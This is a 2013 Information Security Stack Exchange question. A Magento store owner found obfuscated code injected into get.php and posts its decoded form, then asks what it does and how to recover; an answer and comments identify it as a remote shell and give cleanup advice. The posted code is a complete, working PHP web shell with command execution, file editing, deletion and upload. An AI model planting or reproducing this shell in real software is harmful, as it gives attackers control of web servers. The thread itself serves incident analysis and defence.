Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Our magento based e-commerce site was hacked over the weekend, the hackers managed to gain access to the magento files and embed some scrambled code into the get.php file in the root directory.

I managed to unscramble the code using this resource:

http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php

Which gave me this:

if(isset($_GET['cwd'])){
print '<title>. .:: InjectionByME! ::. .</title>';
print '<body text="grey" bgcolor="black">';
print ' <hr><hr>';
print ' <p> <font face="comic sans MS" style="font-size: 10pt">';
print' </p>';
print '<div align="left">';
print '<b>';
set_magic_quotes_runtime(0);
$scriptname = $_SERVER['SCRIPT_NAME'];
$filename = $_POST["filename"];
$currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);
$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);

$UName  = `uname -a`;
$SCWD   = `pwd`;
$UserID = `id`;

if( $currentWD == "" ) {
    $currentWD = $SCWD;
}

if( $_POST['_act'] == "List files!" ) {
    $currentCMD = "ls -la";
}


print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";

print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";

print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
print "<tr><td><b>Edit File:</b></td><td><table width=\"100%\" border=\"0\"><form method=\"post\" action=\"".$scriptname."\"><input name=\"filename\" type=\"text\" value=\"".$filename."\" size=\"100\"></td>";
print "<tr><td><input type=\"submit\" name=\"submit\" value=\"Open\"><input type=\"submit\" name=\"submit\" value=\"Delete\"></td></tr></table>";
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
print "</div>";
print "</font>";
print "</form>";
print "</td></tr></table>";
if (isset($_POST["filename"])){
$filecontents = htmlentities(file_get_contents($filename));
$filecontent = stripslashes(html_entity_decode($_POST["contents"]));

echo "<tr><td><font face=\"Verdana\" style=\"font-size: 11pt\"><textarea name=\"contents\" cols=\"53\" rows=\"8\">".$filecontents."</textarea></font><br><input type=\"submit\" name=\"submit\" value=\"Save\"><input type=\"reset\" value=\"Reset\">";

if($_POST["submit"] == "Open")
{
    if(file_exists($filename))
    {

        if(!$filecontents)
            $status = "<font face='Verdana' style='font-size: 8pt'>Error or No contents in file</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}       
else if($_POST["submit"] == "Delete")
{
    if(file_exists($filename))
    {
        if(unlink($filename))   
            $status = "<font face='Verdana' style='font-size: 8pt'>File successfully deleted!</font>";
        else
            $status = "<font face='Verdana' style='font-size: 8pt'>Could not delete file!</font>";
    }
    else
        $status = "<font face='Verdana' style='font-size: 8pt'>File does not exist!</font>";
}
else if($_POST["submit"] == "Save")
{

    if(file_exists($filename))
        unlink($filename);

    $handle = fopen($filename, "w");

    if(!$handle)
        $status = "<font face='Verdana' style='font-size: 8pt'>Could not open file for write access! </font>";
    else
    {
        if(!fwrite($handle, $filecontent))
            $status = $status."<font face='Verdana' style='font-size: 8pt'>Could not write to file! (Maybe you didn't enter any text?)</font>";

        fclose($handle);
    }

    $filecontent = htmlentities($filecontent);
}
print "</table></form><hr><hr>";
}
$currentCMD = str_replace("\\\"","\"",$currentCMD);
$currentCMD = str_replace("\\\'","\'",$currentCMD);

if( $_POST['_act'] == "Upload!" ) {
    if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
        print "<center><b>Error while uploading file!</b></center>";
    } else {
        print "<center><pre>";
        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        print "</pre><b>File uploaded successfully!</b></center>";
    }   
} else {
    print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
    $currentCMD = "cd ".$currentWD.";".$currentCMD;
  system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm
/tmp/cmdtemp");
    print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
}

exit;}</pre>

I removed the code from the get.php, and the site is back up, but I don't really have the knowledge of expertise to know where to go from here with regards to:

  1. Knowing what the purpose of the above hack was for?
  2. Further inspection of other magento files to search for additional hacks
  3. Preventative measure to defend against further attacks (other than a small update of the Magento version, once I'm confident the files are clean)

I'd appreciate any insight you can offer on this, I would also consider hiring someone who would be able analyse the files and prevent further hacks.

Thanks in advance.

share|improve this question
    
The only way I would solve something like this is nuke everything from orbit. I wouldn't even trust the user authentication table at this point. You need to determine if the compromised was because you didn't update your installation. –  Ramhound Jun 10 '13 at 11:28
    
"You need to determine if the compromised was because you didn't update your installation" - Any pointers on how I might go about doing this? I have Apache Usage Logs and Apache Error Logs, and a file edited date which tells me when the get.php edit took place –  Simon Tunnard Jun 10 '13 at 11:42
    
Patch history of magento is a start. –  Ramhound Jun 10 '13 at 11:45
add comment

closed as too localized by Adnan, Luc, TildalWave, Scott Pack, Terry Chia Jun 10 '13 at 14:34

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.If this question can be reworded to fit the rules in the help center, please edit the question.

1 Answer

  • 1) The hack you have there enables a remote shell which gives web attackers similar access to a local shell, the primary difference is that its limited in what it can do and it only runs with the permissions assigned to the web-server.

  • 2) Look for similar code in other files, check your access logs to see what else may have been accessed by the same IP address, if your particularly concerned, revert to an older (pre-hacked) backup and upgrade/patch from there

  • 3) See this thread and this article part 2 for some general guides,

You'll have to define your environment better and ask specific questions in order to get a more helpful response.

Its always a good idea to consult a professional for advice, once you've hardened your install, you might want to consider getting a penetration test done as well.

Hope that helps!

share|improve this answer
    
Thank you for the advice and for the links, it's very much appreciated. –  Simon Tunnard Jun 10 '13 at 9:33
    
No worries, @SimonTunnard if it's helped, please upvote and mark as answered! :) –  NULLZ Jun 10 '13 at 10:13
    
I tried the upvote, but It appears I need 15+ rep and I'm new here (1st post) and only have 9. With regards to my enviroment: Its a Linux Server running DirectAdmin, the Magento version is 1.6.1.0 –  Simon Tunnard Jun 10 '13 at 10:29
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.